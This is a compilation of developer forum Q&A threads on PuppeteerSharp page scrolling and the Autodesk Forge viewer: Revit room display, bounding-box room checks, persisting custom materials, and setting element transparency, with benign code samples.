I am new to puppeteersharp and puppeteer in general.
I am trying to convert a function that is used in puppeteer to puppeteerSharp and i am wondering how to do it.
Here is the puppeteer function(this one scroll down to the end of the page):
async function autoScroll(page){
await page.evaluate(async () => {
await new Promise((resolve, reject) => {
var totalHeight = 0;
var distance = 100;
var timer = setInterval(() => {
var scrollHeight = document.body.scrollHeight;
window.scrollBy(0, distance);
totalHeight += distance;
if(totalHeight >= scrollHeight){
clearInterval(timer);
resolve();
}
}, 100);
});
});
Anyone Can please tell me how can i manage to get this to work with puppeteerSharp?
Kind Regards
You can call EvaluateFunctionAsync and pass that function as string.
await page.EvaluateFunctionAsync(#"async () => {
await new Promise((resolve, reject) => {
var totalHeight = 0;
var distance = 100;
var timer = setInterval(() => {
var scrollHeight = document.body.scrollHeight;
window.scrollBy(0, distance);
totalHeight += distance;
if(totalHeight >= scrollHeight){
clearInterval(timer);
resolve();
}
}, 100);
});
}");

I would like to understand where to look. You don't have to change the code for me. Thank you in advance.
My goal is to see the Revit rooms in the Forge viewer. The application is in .NET Core. I have tried implementing GenerateMasterViews.
The code I am using to achieve this is:
[Route("api/forge/modelderivative/jobs")]
public async Task<dynamic> TranslateObject([FromBody]TranslateObjectModel objModel)
{
dynamic oauth = await OAuthController.GetInternalAsync();
// prepare the payload
var advOutputPayload = new JobSvf2OutputPayloadAdvanced();
advOutputPayload.GenerateMasterViews = true;
List<JobPayloadItem> outputs = new List<JobPayloadItem>()
{
new JobPayloadItem(
JobPayloadItem.TypeEnum.Svf2,
new List<JobPayloadItem.ViewsEnum>()
{
JobPayloadItem.ViewsEnum._2d,
JobPayloadItem.ViewsEnum._3d
},
advOutputPayload
)
};
JobPayload job;
job = new JobPayload(new JobPayloadInput(objModel.objectName), new JobPayloadOutput(outputs));
// start the translation
DerivativesApi derivative = new DerivativesApi();
derivative.Configuration.AccessToken = oauth.access_token;
dynamic jobPosted = await derivative.TranslateAsync(job);
return jobPosted;
}
Autodesk.Viewing.Initializer(options, () => {
viewer = new Autodesk.Viewing.GuiViewer3D(document.getElementById('forgeViewer'));
viewer.start();
var documentId = 'urn:' + urn;
Autodesk.Viewing.Document.load(documentId, onDocumentLoadSuccess, onDocumentLoadFailure);
});
}
function onDocumentLoadSuccess(doc) {
var viewables = doc.getRoot().getDefaultGeometry();
viewer.loadDocumentNode(doc, viewables).then(i => {
// documented loaded, any action?
});
}
But I can't get it to work.
I have looked for information, but this url: https://forge.autodesk.com/en/docs/model-derivative/v2/tutorials/prep-roominfo4viewer/option2/ and this url:
https://forge.autodesk.com/en/docs/model-derivative/v2/tutorials/prep-roominfo4viewer/option1/ they don't work and I couldn't see how to do it.
To check if the object is in the room, we can do the following:
Get bounds for each room and object
getBoundingBox(dbId, model) {
const it = model.getInstanceTree();
const fragList = model.getFragmentList();
let bounds = new THREE.Box3();
it.enumNodeFragments(dbId, (fragId) => {
let box = new THREE.Box3();
fragList.getWorldBounds(fragId, box);
bounds.union(box);
}, true);
return bounds;
}
Iterate rooms and objects and use containsBox or containsPoint to check if their bounding box has intersection.
If you want to do an acute collision check, you can take advantage of the ThreeCSG.js to do geometry intersection. Here is a blog post demonstrating how to integrate ThreeCSG.js with Forge Viewer.
https://forge.autodesk.com/blog/boolean-operations-forge-viewer
Note. This process would reduce the viewer performance since JavaScript is running on a single thread on the Web Browser, so you may use some technologies like the web worker to do the complex calculations on a separate thread.
Update:
Here is a working sample extension demonstrating the above idea:

I have a problem with changes of material of some elements
when geometry is loaded:
_this.viewer.addEventListener(Autodesk.Viewing.GEOMETRY_LOADED_EVENT, () => {
changeModelMaterial()
});
...
const changeModelMaterial = () => {
const grey = new THREE.Color(0.5, 0.5, 0.5);
let dbIds = getDbIds()
changeAllElementsMaterial(grey)
setMaterialOfDbIds(dbIds)
}
code that i`m using to change material:
const changeAllElementsMaterial = (color) => {
const fragmentList = _this.viewer.model.getFragmentList();
for (let materialId of fragmentList.materialids) {
if (fragmentList.materialmap[materialId]) {
fragmentList.materialmap[materialId].map = null
fragmentList.materialmap[materialId].color = color
fragmentList.materialmap[materialId].needsUpdate = true;
}
}
_this.viewer.impl.invalidate(true);
}
const setMaterialOfDbIds = (dbIds) => {
var color_diffuse = 0xAB00EE;
var color_specular = 0xEEABEE;
var colorM = new THREE.MeshPhongMaterial({
color: color_diffuse,
specular: color_specular
});
_this.viewer.impl.matman().addMaterial(
'ADN-Material-' +
"common color material", // or a GUID
colorM,
true);
for (let dbId of dbIds) {
_this.viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_this.viewer.model.getFragmentList().setMaterial(fragId, colorM);
});
}
_this.viewer.impl.invalidate(true);
}
It works, because I see that materials of model are changed, but the problem is that materials back to default after ~1-2 sec.
After this I cannot change material even with run this code manually.
Question is why Viewer is locking material change after this 2 sec, how to prevent it
And maybe you will be able to tell me what i can do better with material changes, eg. maybe something better that running my code after GEOMETRY_LOAD. The best would be change material before first render of model
........
hint:
when change event from GEOMETRY_LOADED_EVENT to OBJECT_TREE_CREATED_EVENT "sometimes" but only sometimes it works well (materials stay to the end of working with model), but mostly when i run my method after OBJECT_TREE_CREATED it not working (even not working by run it manually, materials are in some way locked). So I suspect that problem is between time of GEOMETRY_LOAD and OBJECT_TREE_CREATED
I will be grateful for any help

I found the solution, quite accidentally... from other thing i tried to do
before:
const setMaterialOfDbIds = (dbIds) => {

var color_specular = 0xEEABEE;
var colorM = new THREE.MeshPhongMaterial({

_this.viewer.impl.matman().addMaterial("common color material", colorM, true);
for (let dbId of dbIds) {
_this.viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_this.viewer.model.getFragmentList().setMaterial(fragId, colorM);
});
}
_this.viewer.impl.invalidate(true);
}
after
const setMaterialOfDbIds = (dbIds) => {
var color_diffuse = 0xAB00EE;
var color_specular = 0xEEABEE;
var colorM = new THREE.MeshPhongMaterial({
color: color_diffuse,
specular: color_specular
});
_this.viewer.impl.matman().addMaterial("common color material", colorM, true);
for (let dbId of dbIds) {
_this.viewer.model.getData().instanceTree.enumNodeFragments(dbId, function (fragId) {
_this.viewer.model.getFragmentList().setMaterial(fragId, colorM);
var fragProxy = _this.viewer.impl.getFragmentProxy(_this.viewer.model, fragId)
fragProxy.updateAnimTransform()
});
}
_this.viewer.impl.invalidate(true);
}
Really I don`t know why adding
var fragProxy = _this.viewer.impl.getFragmentProxy(_this.viewer.model, fragId)
fragProxy.updateAnimTransform()
made the difference, i didn`t saw anything like that in any example of updating material.
What is interesting this code is running for only few elements in model, but it works for even those elements that materials changed before (in changeAllElementsMaterial method).
#Philippe Leefsma if you understand it pls tell something more why it works
So far I cannot reproduce the issue on my side, I am using the following code (ES7) extracted from that extension: Viewing.Extension.Material
createColorMaterial (color) {
const material = new THREE.MeshPhongMaterial({
specular: new THREE.Color(color),
side: THREE.DoubleSide,
reflectivity: 0.0,
color
})
const materials = this.viewer.impl.getMaterials()
materials.addMaterial(
this.guid(),
material,
true)
return material
}
async onModelCompletedLoad() {
const material = this.createColorMaterial(0xFF0000)
const model = this.viewer.model
const fragIds = await Toolkit.getFragIds(model)
fragIds.forEach((fragId) => {
model.getFragmentList().setMaterial(
fragId, material)
})
this.viewer.impl.sceneUpdated(true)
}
The onModelCompletedLoad is a custom event fired when both GEOMETRY_LOADED_EVENT and OBJECT_TREE_CREATED_EVENT have been fired.
Take a look at this article for more details: Asynchronous viewer events notification
I doubt you can easily change the materials before the model is first rendered, however you could use a custom overlay that hides the model until your custom logic has performed all required steps, this is the approach I am using in my demos at: https://forge-rcdb.autodesk.io/configurator
After loading a model, all custom materials are being persisted fine:
The material extension can be tested live from there.
Hope that helps
When we isolate an element in a 3d view, is there anyway to control the amount of transparency of all the other elements? Say, change to 50% translucent?
Have I missed something obvious?
And can you do the same for 2d views?
I dug out the following code for you, it shows how to set all leaf nodes to 50% opacity by changing their material properties:
AutodeskNamespace("Autodesk.ADN.Viewing.Extension");
function getLeafNodes(model, nodeId) {
return new Promise((resolve, reject)=>{
try{
var leafIds = [];
var instanceTree = model.getData().instanceTree
nodeId = nodeId || instanceTree.getRootId()
function _getLeafNodesRec(id){
var childCount = 0;
instanceTree.enumNodeChildren(id,
function(childId) {
_getLeafNodesRec(childId)
++childCount
})
if(childCount == 0){
leafIds.push(id)
}
}
_getLeafNodesRec(nodeId)
return resolve(leafIds)
} catch(ex){
return reject(ex)
}
})
}
function nodeIdToFragIds(model, nodeId) {
var instanceTree = model.getData().instanceTree
var fragIds = []
instanceTree.enumNodeFragments(
nodeId, (fragId) => {
fragIds.push(fragId)
});
return fragIds
}
Autodesk.ADN.Viewing.Extension.Basic = function (viewer, options) {
Autodesk.Viewing.Extension.call(this, viewer, options);
var _this = this;
_this.load = function () {
var fragList = viewer.model.getFragmentList()
getLeafNodes(viewer.model).then((dbIds) => {
dbIds.forEach((dbId) => {
const fragIds = nodeIdToFragIds(
viewer.model, dbId)
fragIds.forEach((fragId) => {
var material = fragList.getMaterial(fragId)
if(material) {
material.opacity = 0.5
material.transparent = true
material.needsUpdate = true
}
})
})
viewer.impl.invalidate(true, true, true)
})
return true;
};
_this.unload = function () {
Autodesk.Viewing.theExtensionManager.unregisterExtension(
"Autodesk.ADN.Viewing.Extension.Basic");
return true;
};
};
Autodesk.ADN.Viewing.Extension.Basic.prototype =
Object.create(Autodesk.Viewing.Extension.prototype);
Autodesk.ADN.Viewing.Extension.Basic.prototype.constructor =
Autodesk.ADN.Viewing.Extension.Basic;
Autodesk.Viewing.theExtensionManager.registerExtension(
"Autodesk.ADN.Viewing.Extension.Basic",
Autodesk.ADN.Viewing.Extension.Basic);
Some syntax requires ES6 transpiling. You can quickly paste the code there to test it: http://viewer.autodesk.io/node/gallery/#/extension-editor?id=560c6c57611ca14810e1b2bf
This works only for 3D, I'll see what we can do for 2D and update that topic.
